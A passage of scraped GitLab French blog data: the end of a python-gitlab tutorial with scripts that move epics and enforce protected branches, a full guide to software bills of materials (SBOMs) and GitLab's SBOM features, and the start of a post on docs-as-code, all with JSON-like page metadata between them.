GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n\n# Main\n\n# Goal: Move epic to target group, including title, body, labels, and child\nepics and issues.\n\nsource_group = gl.groups.get(SOURCE_GROUP_ID)\n\ntarget_group = gl.groups.get(TARGET_GROUP_ID)\n\n\n# Create a new target epic and copy all its items, then close the source\nepic.\n\nsource_epic = source_group.epics.get(EPIC_ID)\n\n# print(source_epic) #debug\n\n\nepic_title = source_epic.title\n\nepic_description = source_epic.description\n\nepic_labels = source_epic.labels\n\nepic_issues = source_epic.issues.list()\n\n\n# Create the epic with minimal attributes\n\ntarget_epic = target_group.epics.create({\n    'title': epic_title,\n    'description': epic_description,\n})\n\n\n# Assign the list\n\ntarget_epic.labels = epic_labels\n\n\n# Persist the changes in the new epic\n\ntarget_epic.save()\n\n\n# Epic issues need to be re-assigned in a loop\n\nfor epic_issue in epic_issues:\n    ei = target_epic.issues.create({'issue_id': epic_issue.id})\n\n# Child epics need to update their parent_id to the new epic\n\n# Need to search in all epics, use lazy object loading\n\nfor sge in source_group.epics.list(lazy=True):\n    # this epic has the source epic as parent epic?\n    if sge.parent_id == source_epic.id:\n        # Update the parent id\n        sge.parent_id = target_epic.id\n        sge.save()\n\nprint(\"Copied source epic {source_id} ({source_url}) to target epic\n{target_id} ({target_url})\".format(\n    source_id=source_epic.id, source_url=source_epic.web_url,\n    target_id=target_epic.id, target_url=target_epic.web_url))\n\n# Close the old epic\n\nsource_epic.state_event = 'close'\n\nsource_epic.save()\n\nprint(\"Closed source epic {source_id} ({source_url})\".format(\n    source_id=source_epic.id, source_url=source_epic.web_url))\n```\n\n\n```shell\n\n$  python3 move_epic_between_groups.py\n\nCopied source epic 725341\n(https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/-/epics/1) to\ntarget epic 725358\n(https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/epic-move-target/-/epics/6)\n\nClosed source epic 725341\n(https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/-/epics/1)\n\n```\n\n\nL'[epic\ncible](https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/epic-move-target/-/epics/5\n\"Epic cible\") a été créée et affiche le résultat attendu : même titre,\ndescription, labels, epic enfant et tickets. \n\n\n![Tutoriel sur l'API GitLab : déplacer des\nepics](https://about.gitlab.com/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_moved_epic_with_all_attributes.png){:\n.shadow}\n\n\n__Exercice :__ le script ne copie pas encore les\n[commentaires](https://python-gitlab.readthedocs.io/en/stable/gl_objects/notes.html)\net les [fils de\ndiscussion](https://python-gitlab.readthedocs.io/en/stable/gl_objects/discussions.html).\nFaites des recherches et aidez-nous à mettre à jour le script. Les merge\nrequests sont les bienvenues !\n\n\n### Conformité : vérifier que les paramètres du projet ne sont pas remplacés\n\n\nLes paramètres des projets et des groupes peuvent être modifiés\naccidentellement par des membres de l'équipe. Les exigences de conformité\ndoivent être respectées. Autre cas d’utilisation : gérer la configuration\navec des outils d’[Infrastructure as\nCode](https://about.gitlab.com/fr-fr/topics/gitops/infrastructure-as-code/\n\"Infrastructure as Code\") et s'assurer que la configuration de GitLab reste\nla même au niveau du groupe, du projet et autres. Des outils comme Ansible\nou Terraform peuvent invoquer un script API ou utiliser la bibliothèque\npython-gitlab pour effectuer des tâches de gestion des paramètres.\n\n\nDans l'exemple suivant, seule la branche `main` est protégée.\n\n\n![API python-gitlab : protection des\nbranches](https://about.gitlab.com/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_protected_branches_settings_main.png){:\n.shadow}\n\n\nSupposons qu'une nouvelle branche `production` a été ajoutée et qu’elle doit\négalement être protégée. Le script suivant définit le dictionnaire des\nbranches protégées et leurs niveaux d'accès pour les autorisations de push\net de fusion au niveau du chargé de maintenance. Il établit la logique de\ncomparaison de la [documentation python-gitlab sur les branches\nprotégées](https://python-gitlab.readthedocs.io/en/stable/gl_objects/protected_branches.html).\n\n\n```python\n\n#!/usr/bin/env python\n\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\n# https://gitlab.com/gitlab-da/use-cases/\n\nGROUP_ID = os.environ.get('GL_GROUP_ID', 16058698)\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\n\nPROTECTED_BRANCHES = {\n    'main': {\n        'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,\n        'push_access_level': gitlab.const.AccessLevel.MAINTAINER\n    },\n    'production': {\n        'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,\n        'push_access_level': gitlab.const.AccessLevel.MAINTAINER\n    },\n}\n\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n\n# Main\n\ngroup = gl.groups.get(GROUP_ID)\n\n\n# Collect all projects in group and subgroups\n\nprojects = group.projects.list(include_subgroups=True, all=True)\n\n\nfor project in projects:\n    # Retrieve a full manageable project object\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n    manageable_project = gl.projects.get(project.id)\n\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/protected_branches.html\n    protected_branch_names = []\n\n    for pb in manageable_project.protectedbranches.list():\n        manageable_protected_branch = manageable_project.protectedbranches.get(pb.name)\n        print(\"Protected branch name: {n}, merge_access_level: {mal}, push_access_level: {pal}\".format(\n            n=manageable_protected_branch.name,\n            mal=manageable_protected_branch.merge_access_levels,\n            pal=manageable_protected_branch.push_access_levels\n        ))\n\n        protected_branch_names.append(manageable_protected_branch.name)\n\n    for branch_to_protect, levels in PROTECTED_BRANCHES.items():\n        # Fix missing protected branches\n        if branch_to_protect not in protected_branch_names:\n            print(\"Adding branch {n} to protected branches settings\".format(n=branch_to_protect))\n            p_branch = manageable_project.protectedbranches.create({\n                'name': branch_to_protect,\n                'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,\n                'push_access_level': gitlab.const.AccessLevel.MAINTAINER\n            })\n```\n\n\nL'exécution du script affiche la branche `main` existante, ainsi qu’une note\nindiquant que la branche `production` sera mise à jour. La capture d'écran\ndes paramètres du dépôt démontre cette action.\n\n\n```\n\n$ python3\nenforce_protected_branches.py                                               \n─╯\n\nProtected branch name: main, merge_access_level: [{'id': 67294702,\n'access_level': 40, 'access_level_description': 'Maintainers', 'user_id':\nNone, 'group_id': None}], push_access_level: [{'id': 68546039,\n'access_level': 40, 'access_level_description': 'Maintainers', 'user_id':\nNone, 'group_id': None}]\n\nAdding branch production to protected branches settings\n\n```\n\n\n![Capture d'écran de code en Python avec\nGitLab](https://about.gitlab.com/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_protected_branches_settings_main_production.png){:\n.shadow}\n\n\n### Prise de notes : générer un aperçu de la date d'échéance\n\n\nUne [discussion de Hacker News sur les outils de prise de\nnotes](https://news.ycombinator.com/item?id=32155848) nous a inspiré la\ncréation d'un tableau Markdown, extrait de fichiers de prise de notes, et\ntrié par date d'échéance. Le script est plus complexe à comprendre.\n",[235,1069,784,1067],{"slug":3162,"featured":6,"template":683},"efficient-devsecops-workflows-hands-on-python-gitlab-api-automation","content:fr-fr:blog:efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml","Efficient Devsecops Workflows Hands On Python Gitlab Api Automation","fr-fr/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml","fr-fr/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation",{"_path":3168,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3169,"content":3175,"config":3181,"_id":3183,"_type":16,"title":3184,"_source":17,"_file":3185,"_stem":3186,"_extension":20},"/fr-fr/blog/the-ultimate-guide-to-sboms",{"title":3170,"description":3171,"ogTitle":3170,"ogDescription":3171,"noIndex":6,"ogImage":3172,"ogUrl":3173,"ogSiteName":841,"ogType":842,"canonicalUrls":3173,"schema":3174},"Qu’est-ce qu’une nomenclature logicielle (SBOM) et quel est son rôle ?","Découvrez ce qu'est une nomenclature logicielle et pourquoi elle fait désormais partie intégrante du développement logiciel. Lisez notre guide complet.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664571/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","https://about.gitlab.com/blog/the-ultimate-guide-to-sboms","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Qu’est-ce qu’une nomenclature logicielle (SBOM) et quel est son rôle ?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-10-25\",\n      }",{"title":3170,"description":3171,"authors":3176,"heroImage":3172,"date":3177,"body":3178,"category":673,"tags":3179,"updatedDate":3180},[1086],"2022-10-25","Une nomenclature logicielle (ou SBOM) est une liste complète des composants d’un logiciel qui facilite la compréhension du réseau complexe de bibliothèques, d'outils et de processus utilisés tout au long du cycle de développement. Associées à des outils de gestion des vulnérabilités, les SBOM ne se contentent pas de révéler les vulnérabilités potentielles des logiciels, mais ouvrent également la voie à une stratégie d'atténuation des risques. \n\nDécouvrez dans ce guide tout ce que vous devez savoir sur les SBOM, ainsi que le rôle central qu'elles jouent dans une stratégie [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") multifacette : \n\n- [Qu'est-ce qu'une SBOM ?](#quest-ce-quune-sbom)\n- [Pourquoi les SBOM sont-elles importantes ?](#pourquoi-les-sbom-sont-elles-importantes)\n- [Quels sont les types de normes d'échange de données SBOM ?](#quels-sont-les-types-de-normes-dechange-de-donnees-sbom)\n- [Quels sont les avantages de l'association des SBOM avec la gestion des vulnérabilités logicielles ?](#quels-sont-les-avantages-de-lassociation-des-sbom-avec-la-gestion-des-vulnerabilites-logicielles)\n- [GitLab et les SBOM dynamiques](#gitlab-et-les-sbom-dynamiques)\n- [L'avenir des fonctionnalités SBOM de GitLab](#lavenir-des-fonctionnalites-sbom-de-gitlab)\n- [Commencez à utiliser les SBOM](#commencez-à-utiliser-les-sbom)\n\n## Qu'est-ce qu'une SBOM ?\n\nUne SBOM est un inventaire imbriqué ou une [liste des ingrédients qui constituent les composants logiciels](https://www.cisa.gov/sbom# \"Définition d'une SBOM\"). Les SBOM comprennent des informations critiques sur les bibliothèques, outils et processus utilisés pour développer, construire et déployer un artefact logiciel. \n\nBien que les SBOM soient souvent créées avec des logiciels autonomes, des plateformes DevSecOps comme GitLab intègrent la génération de SBOM dans un workflow DevSecOps.\n\n![Sécurité de la chaîne d'approvisionnement SDLC](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/supply_chain_security_sdlc.png)\n\n### Pourquoi les SBOM sont-elles importantes ?\n\nAujourd'hui, le secteur du développement logiciel a tendance à prioriser rapidité et efficacité pour la livraison de logiciels. Cependant, cela induit parfois des __risques de sécurité__ via l'intégration de code moins sécurisé provenant de dépôts open source ou de paquets propriétaires.\n\nSelon le rapport « Open Source Security and Risk Analysis » de Synopsys (2024), qui a analysé plus de 1 000 bases de code commerciales issues de 17 industries différentes en 2023, 96 % de ces bases contenaient du code open source et 84 % de celles évaluées pour les risques contenaient des vulnérabilités.\n\nÀ la lecture de ce rapport, il devient clair qu'intégrer du code provenant de dépôts inconnus augmente le risque de failles exploitables par les hackers.\n\nUn exemple connu, l'[attaque de SolarWinds](https://fr.wikipedia.org/wiki/Cyberattaque_de_2020_contre_les_%C3%89tats-Unis \"Attaque de SolarWinds\") en 2020, a été déclenchée par l'activation d'une __injection malveillante de code__ dans un paquet utilisé par le produit Orion de SolarWinds. Cette dernière n'a pas été sans conséquences puisqu'elle a fortement affecté les clients de l’ensemble de la chaîne d'approvisionnement logicielle.\n\nCette attaque, comme bien d'autres (par exemple, la __vulnérabilité Log4j__) ont mis en lumière l'importance d'effectuer une analyse approfondie des dépendances des applications, y compris des __conteneurs et de l'infrastructure__, afin d'évaluer les [risques potentiels tout au long de la chaîne d'approvisionnement logicielle](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/ \"Sécurité de la chaîne d'approvisionnement logicielle\").\n\nLe coût lié à l'identification et à la correction d’une faille de sécurité est un facteur important à ne pas négliger. Mais au-delà de l'aspect financier, une attaque sur la chaîne d'approvisionnement logicielle peut gravement affecter __la réputation d'une entreprise__.\n\nNon seulement les SBOM permettent de __limiter les risques d'attaques__ (et donc de préserver votre réputation), mais elles contribuent également à optimiser les coûts liés à la gestion des vulnérabilités : \n\n- En offrant un aperçu de vos dépendances,\n- En identifiant les vulnérabilités ainsi que les licences non conformes aux protocoles de sécurité internes à votre entreprise. \n\n## Quels sont les types de normes d'échange de données SBOM ?\n\nLes SBOM fonctionnent de manière optimale lorsque la génération et l'interprétation d'informations telles que __le nom, la version, ou encore l’empaqueteur, peuvent être automatisées__. Cette automatisation est optimale si toutes les parties prenantes impliquées utilisent un format standard d'échange de données. \n\nIl existe deux principaux types de normes d'échange de données SBOM utilisées aujourd'hui :\n\n- [OWASP CycloneDX](https://cyclonedx.org/capabilities/sbom/ \"OWASP CycloneDX\")\n- [SPDX](https://spdx.dev/ \"SPDX\")\n\nGitLab utilise CycloneDX pour la génération de SBOM, car cette norme est :\n\n- prescriptive (marque un ensemble de normes objectives),\n- facile à comprendre et à prendre en main, \n- capable de simplifier les relations complexes, \n- extensible pour prendre en charge et s'adapter à des cas spécifiques.\n\nDe plus, il existe des outils open source comme cyclonedx-cli et cdx2spdx qui peuvent être utilisés pour convertir des fichiers CycloneDX au format SPDX si nécessaire.\n\n## Quels sont les avantages de l'association des SBOM avec la gestion des vulnérabilités logicielles ?\n\nLes SBOM sont très utiles pour les équipes DevSecOps et les utilisateurs de logiciels, et ce, pour plusieurs raisons :\n\n - Elles permettent une __approche standardisée__ pour comprendre quels composants logiciels supplémentaires sont présents dans une application et où ils sont déclarés.\n - Elles offrent une visibilité continue sur l'__historique de création d'une application__, y compris des détails sur les origines du code tiers et les dépôts hôtes.\n- Elles fournissent un haut niveau de transparence en matière de sécurité, tant pour le code développé en interne que pour les logiciels open source utilisés.\n- Les détails fournis par les SBOM permettent aux [équipes DevOps](https://about.gitlab.com/fr-fr/topics/devops/build-a-devops-team/ \"Construire une équipe DevOps\") d'identifier les vulnérabilités, d'évaluer les risques, puis de les atténuer. \n- Les SBOM fournissent la transparence désormais attendue par les acheteurs d'applications.\n\n## GitLab et les SBOM dynamiques\n\nPour que les SBOM soient les plus efficaces possibles, les entreprises doivent être en mesure :\n\n- de les générer automatiquement,\n- de les connecter à des outils d'analyse de sécurité des applications,\n- d’intégrer les vulnérabilités et les licences dans un tableau de bord (pour faciliter la compréhension et la prise de décision),\n- de les mettre à jour en continu.\n\nSachez que GitLab prend en charge tous ces objectifs. \n\n![Illustration de la gestion dynamique des SBOM](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/Screenshot_2024-05-03_at_10.53.28_AM.png)\n\n### Générer et gérer des SBOM à grande échelle\n\nPour se conformer aux réglementations ainsi qu'aux politiques internes de votre entreprise, il est essentiel de disposer de SBOM capables de couvrir tant les logiciels open source que les logiciels tiers et propriétaires.\n\nIl est également nécessaire de mettre en place un processus optimisé afin de créer, fusionner, valider et approuver les SBOM. C'est une condition essentielle à la bonne gestion des SBOM, et ce, pour chaque composant et version de produit.\n\nComment la plateforme GitLab peut-elle vous aider dans la génération de SBOM ? \n\n- La fonctionnalité « [Liste des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_list/ \"Liste des dépendances de GitLab\") » rassemble les données connues sur les vulnérabilités et les licences dans une vue unique disponible au sein de l'interface utilisateur de GitLab. \n- Des informations sur le graphe des dépendances sont générées dans le cadre du rapport d'analyse des dépendances. Cela permet aux utilisateurs d'obtenir une vue d'ensemble complète sur les dépendances et les vulnérabilités potentielles au sein de leurs projets ou groupes de projets.  \n- Un artefact au format JSON CycloneDX peut être produit dans le [pipeline CI](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI ?\"). Cette API propose une approche plus nuancée et personnalisée de la génération de SBOM. \n- Les SBOM sont exportables depuis l'interface utilisateur, un pipeline ou un projet spécifique, ou via l'API GitLab.\n\n### Ingérer et fusionner des SBOM\n\nEn ingérant des SBOM tiers, GitLab offre un haut degré de transparence en matière de sécurité, que ce soit pour le code développé par des tiers que pour les logiciels open source utilisés. \n\nGitLab vous permet d'utiliser un job [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ? \") pour fusionner simplement plusieurs SBOM CycloneDX. En s'appuyant sur les détails spécifiques à l'implémentation dans les métadonnées CycloneDX de chaque SBOM (comme l'emplacement des fichiers de compilation et de verrouillage), __GitLab élimine les doublons__. Ces données sont également enrichies automatiquement avec des informations sur les licences et les vulnérabilités des composants à l'intérieur de la nomenclature logicielle. \n\n### Accélérer l'atténuation des risques pour une meilleure gestion des SBOM\n\nPour pouvoir créer rapidement des produits de haute qualité, les équipes de développement ont besoin de données exploitables pour identifier et corriger les vulnérabilités critiques des applications. GitLab contribue à sécuriser votre chaîne d'approvisionnement logicielle en [analysant les vulnérabilités](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html \"Comment sécuriser son application ? \") dans le code source, dans les conteneurs, les dépendances et les applications en cours d'exécution.\n\nGitLab offre une couverture complète pour aider dans la gestion des vulnérabilités (vulnerability management) grâce à sa large panoplie de scanners de sécurité : \n\n- des tests statiques de sécurité des applications ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/ \"SAST\"))\n- des tests dynamiques de sécurité des applications ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/ \"DAST\"))\n- l'analyse des conteneurs\n- l'analyse de la composition logicielle ([SCA](https://about.gitlab.com/direction/secure/composition-analysis/software-composition-analysis/ \"SCA\")) \n\nPour aider les équipes de développement et d'ingénierie en sécurité à mieux comprendre et corriger les vulnérabilités, GitLab met à disposition de ses utilisateurs la fonctionnalité d'explication des vulnérabilités de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \"GitLab Duo \"). Cette fonctionnalité alimentée par l'IA fournit une explication sur une vulnérabilité spécifique, comment elle peut être exploitée et, surtout, fournit une recommandation sur la manière de la corriger. Combinée à la [fonctionnalité de résolution des vulnérabilités de GitLab Duo](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities/ \"Développement de GitLab Duo : corriger les failles de sécurité avec l'IA\"), cette fonctionnalité permet aux équipes DevSecOps de rapidement identifier, analyser et corriger les vulnérabilités de leurs applications.\n\nLa plateforme prend également en charge la création de nouvelles règles (et le [respect de leur application](https://docs.gitlab.com/ee/administration/compliance.html)) basées sur les vulnérabilités nouvellement détectées.\n\n### Analyser les SBOM en continu \n\nL’analyse continue des vulnérabilités de GitLab déclenche une analyse sur tous les projets où l'analyse des conteneurs, l'analyse des dépendances, ou les deux, sont activées indépendamment d'un pipeline.\n\nLorsque de nouvelles CVE (Common Vulnerabilities and Exposures) sont signalées, les utilisateurs n'ont pas besoin de relancer leurs pipelines pour obtenir les dernières informations.\n\nEn effet, l'équipe de recherche sur les vulnérabilités de GitLab les ajoute à la base de données des avis ([GitLab Advisory Database](https://docs.gitlab.com/ee/user/application_security/gitlab_advisory_database/ \"GitLab Advisory Database\")) pour être intégrées dans la liste des vulnérabilités connues de GitLab. Cela rend la SBOM de GitLab véritablement dynamique. \n\n### Renforcer la confiance dans les SBOM\n\nGitLab permet aux entreprises nécessitant une [fonctionnalité de conformité](https://about.gitlab.com/fr-fr/solutions/compliance/ \"La conformité des logiciels avec GitLab\") de [générer des attestations pour tous les artefacts de compilation](https://about.gitlab.com/blog/securing-the-software-supply-chain-through-automated-attestation/ \"Sécuriser la chaîne d'approvisionnement logicielle grâce à l'attestation automatisée\") produits par le GitLab Runner. Le processus est sécurisé, car il est réalisé directement par le [GitLab Runner](https://docs.gitlab.com/runner/ \"GitLab Runner\"), sans qu'il y ait de transfert de données vers un service externe.\n\n## L'avenir des fonctionnalités SBOM de GitLab\n\nLes attaques fréquentes contre de grands fournisseurs de logiciels et sur les environnements open source obligent le monde du développement à renforcer ses défenses contre les menaces extérieures. Pour cette raison, la sécurité de la chaîne d'approvisionnement des logiciels est aujourd'hui un sujet central dans l'industrie de la cybersécurité et du logiciel. \n\nBien que les SBOM évoluent rapidement, des préoccupations subsistent néanmoins. Par exemple : \n\n- la manière et la fréquence dont elles sont générées\n- leur stockage\n- la combinaison de plusieurs SBOM pour des applications complexes\n- leur analyse et utilisation pour améliorer la santé des applications.\n\nGitLab a fait des SBOM une partie intégrante de sa stratégie en matière de [chaîne d'approvisionnement logicielle](https://about.gitlab.com/direction/supply-chain/ \"Chaîne d'approvisionnement logicielle\") et continue d'améliorer ses capacités SBOM en permanence, en intégrant régulièrement de nouvelles fonctionnalités.\n\nParmi ces améliorations, nous retrouvons entre autres : l'automatisation des attestations, la signature numérique des artefacts de compilation et la prise en charge des SBOM générées en externe.\n\nGitLab a également mis en place un [modèle de maturité SBOM](https://handbook.gitlab.com/handbook/security/security-assurance/dedicated-compliance/sbom-plan/ \"Modèle de maturité SBOM\") (SBOM Model Maturity) au sein de sa plateforme. Ce modèle inclut des étapes comme la génération automatique de SBOM, l’approvisionnement en SBOM depuis l'environnement de développement, l’analyse des SBOM pour les artefacts et la promotion de la signature numérique des SBOM.\n\n## Commencez à utiliser les SBOM\n\nLa demande en SBOM est déjà très forte.\n\nAux États-Unis, les agences gouvernementales recommandent, voire exigent des fournisseurs et des développeurs de logiciels fédéraux, et même des communautés open source qu'ils créent des SBOM. \n\nA l'échelle européenne, ce sujet est traité au sein du [règlement sur la cyberrésilience (CRA)](https://digital-strategy.ec.europa.eu/fr/news/cyber-resilience-act-enters-force-make-europes-cyberspace-safer-and-more-secure \"règlement sur la cyberrésilience\"). Quant à la France, c'est l'[Agence nationale de la sécurité des systèmes d'information](https://cyber.gouv.fr/ \"Agence nationale de la sécurité des systèmes d'information\") (ANSSI) qui tranche sur ce type de sujets. \n\nAinsi, que ce soit aux États-Unis, en France, mais aussi ailleurs dans le monde, les agences liées à la sécurité informatique informent sur les menaces grandissantes qui pèsent sur le monde du développement logiciel et numérique plus globalement. \n\nPour anticiper ces exigences, consultez les fonctionnalités SBOM de l'édition GitLab Ultimate disponibles dans la [plateforme DevSecOps de GitLab](https://gitlab.com/-/trials/new \"Essai gratuit de la plateforme GitLab \").\n\n## FAQ sur les SBOM\n\n### Qu'est-ce qu'une SBOM ?\n\nUne SBOM est un inventaire détaillé qui répertorie tous les composants, bibliothèques et outils utilisés pour créer, construire et déployer des logiciels. Cette liste exhaustive inclut des informations essentielles sur les origines du code. Cela favorise une compréhension plus approfondie de la composition d'une application et de ses vulnérabilités potentielles.\n\n### Pourquoi les SBOM sont-elles si importantes ?\n\nLes SBOM sont essentielles pour plusieurs raisons. Elles fournissent :\n\n- __Un aperçu des dépendances.__ Elles permettent de comprendre ce qui compose votre logiciel, et donc de mieux identifier et atténuer les risques associés aux composants tiers.\n- __Une sécurité renforcée.__ Avec une visibilité détaillée des composants de leurs applications, les entreprises peuvent rapidement identifier leurs vulnérabilités et prendre des mesures pour les résoudre.\n- __Une conformité réglementaire.__ De plus en plus, les réglementations et les meilleures pratiques recommandent ou exigent une SBOM pour l'empaquetage de logiciels, en particulier dans le secteur public.\n- __Un développement rationalisé.__ Les équipes de développement peuvent s'appuyer sur les SBOM pour obtenir des informations sur les bibliothèques et les composants utilisés, ce qui permet de gagner du temps et de réduire les erreurs dans le cycle de développement logiciel. \n\n### Quels formats sont utilisés pour l'échange de données SBOM ?\n\nIl existe deux normes prédominantes pour l'échange de données SBOM : \n\n- [CycloneDX](https://docs.gitlab.com/ee/user/compliance/license_scanning_of_cyclonedx_files/ \"CycloneDX\") : connue pour être particulièrement intuitive, CycloneDX simplifie les relations complexes entre les composants logiciels et prend en charge des cas d'utilisation spécifiques. \n- [SPDX](https://docs.gitlab.com/ee/raketasks/spdx.html \"SPDX\") : un autre framework largement utilisé pour l'échange de données SBOM. SPDX fournit des informations détaillées sur les composants au sein de l'environnement logiciel. \n\nEn raison de sa nature normative et de son adaptabilité, GitLab utilise spécifiquement CycloneDX pour sa génération de SBOM.\n\n### Quelle est l’approche de GitLab en matière de SBOM ?\n\nGitLab met l'accent sur la création de SBOM dynamiques qui peuvent être : \n\n- Générées automatiquement : garantir des informations à jour sur la composition logicielle\n- Intégrées avec des outils : se connecter à des outils d’analyse de vulnérabilités, pour une meilleure gestion des risques. \n- Faciles à gérer : prendre en charge l'ingestion et la fusion des SBOM pour une analyse complète \n- Analysées en continu : offrir une analyse continue des projets pour détecter les nouvelles vulnérabilités au fur et à mesure de leur apparition\n\n### Comment puis-je commencer à implémenter les SBOM dans mon entreprise ?\n\nPour les entreprises prêtes à adopter les SBOM, l'édition [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"GitLab Ultimate\") met à disposition des utilisateurs une plateforme robuste pour générer et gérer des SBOM au sein d'un workflow DevSecOps. En tirant parti des outils de GitLab, les équipes de développement peuvent garantir la conformité logicielle, renforcer la sécurité et optimiser les pratiques de développement.\n\nLa demande croissante de SBOM reflète l’importance grandissante accordée à la sécurité logicielle et à l'intégrité de la chaîne d'approvisionnement. En intégrant les fonctionnalités SBOM, les entreprises peuvent mieux se protéger contre les vulnérabilités et se conformer aux nouvelles réglementations en vigueur.\n\n> [Essayez GitLab Ultimate gratuitement.](https://about.gitlab.com/free-trial/fr-fr/devsecops/ \"Essai gratuit de GitLab Ultimate\")\n\n*Avertissement : cet article de blog contient des informations relatives aux produits, fonctionnalités et caractéristiques à venir. Il est important de noter que les informations contenues dans cet article de blog ne sont fournies qu'à titre informatif. Veuillez ne pas vous fier à ces informations à des fins d'achat ou de planification. Comme pour tout projet, les éléments mentionnés dans cet article (et les pages qui y sont liées) sont susceptibles de changer ou d'être retardés. Le développement, la sortie et le calendrier de tout produit ou fonctionnalité restent à la seule discrétion de GitLab.*\n",[673,784,1174,913,188],"2024-12-16",{"slug":3182,"featured":6,"template":683},"the-ultimate-guide-to-sboms","content:fr-fr:blog:the-ultimate-guide-to-sboms.yml","The Ultimate Guide To Sboms","fr-fr/blog/the-ultimate-guide-to-sboms.yml","fr-fr/blog/the-ultimate-guide-to-sboms",{"_path":3188,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3189,"content":3195,"config":3204,"_id":3206,"_type":16,"title":3207,"_source":17,"_file":3208,"_stem":3209,"_extension":20},"/fr-fr/blog/five-fast-facts-about-docs-as-code-at-gitlab",{"title":3190,"description":3191,"ogTitle":3190,"ogDescription":3191,"noIndex":6,"ogImage":3192,"ogUrl":3193,"ogSiteName":841,"ogType":842,"canonicalUrls":3193,"schema":3194},"Documentation as code chez GitLab : 5 choses à savoir","Découvrez dans cet article comment nous utilisons la méthodologie « documentation as code » avec GitLab pour la rédaction de notre documentation technique.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660257/Blog/Hero%20Images/pen.jpg","https://about.gitlab.com/blog/five-fast-facts-about-docs-as-code-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Documentation as code chez GitLab : 5 choses à savoir\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suzanne Selhorn\"},{\"@type\":\"Person\",\"name\":\"Susan Tacker\"},{\"@type\":\"Person\",\"name\":\"Diana Logan\"}],\n        \"datePublished\": \"2022-10-12\",\n      }",{"title":3190,"description":3191,"authors":3196,"heroImage":3192,"date":3200,"body":3201,"category":2738,"tags":3202,"updatedDate":3203},[3197,3198,3199],"Suzanne Selhorn","Susan Tacker","Diana Logan","2022-10-12","Chez GitLab, nous utilisons notre plateforme pour documenter notre produit. Notre équipe de rédaction technique utilise GitLab pour planifier, créer, réviser, éditer et publier le contenu que vous pouvez consulter au sein de la [documentation de GitLab](https://docs.gitlab.com/ \"Documentation de GitLab\"). En utilisant le workflow « doc as code », nos rédacteurs sont alors capables de produire une grande quantité de contenus.  \n\nSi vous n'êtes pas encore familier avec le concept de « documentation as code », en voici une définition rapide : \n\nLa « doc as code » consiste à publier de la documentation technique en utilisant les mêmes outils et processus qu'en développement de logiciel. La documentation se place au sein du même dépôt que le code, pour permettre un contrôle des versions.\n\nAvant d’adopter la méthodologie « documentation as code », découvrez cinq points intéressants sur la façon dont notre équipe procède. \n\n## Planifier les mises à jour des fonctionnalités et du contenu de notre documentation\n\nNos chefs de produit, UX Designers, ingénieurs et équipes d'assurance qualité planifient ensemble les fonctionnalités de GitLab. Lorsque vous planifiez une nouvelle version, vous utilisez probablement un tableau Kanban, ou créez un ticket avec un outil tiers.\n\nChez GitLab, nous utilisons des [epics](https://docs.gitlab.com/ee/user/group/epics/ \"Epics\") et un système de tickets pour planifier notre travail, ainsi que des [tableaux de bord](https://docs.gitlab.com/ee/user/project/issue_board.html) pour suivre notre progression. La transparence étant primordiale, nous rendons accessible à tous l’ensemble des informations et des discussions pour que l'équipe de rédaction technique puisse disposer d'une visibilité complète sur l'avancement des projets.\n\n![Planning de travail chez GitLab](https://about.gitlab.com/images/blogimages/planning_issue.png)\n\nDans le cas d'un projet de documentation de plus grande ampleur, nous effectuons l’ensemble de nos tâches depuis GitLab : suivi, modifications et résolution des tickets. De cette manière, vous pouvez visualiser l’ensemble du projet depuis un seul et même endroit et retrouver l’historique des modifications, à tout 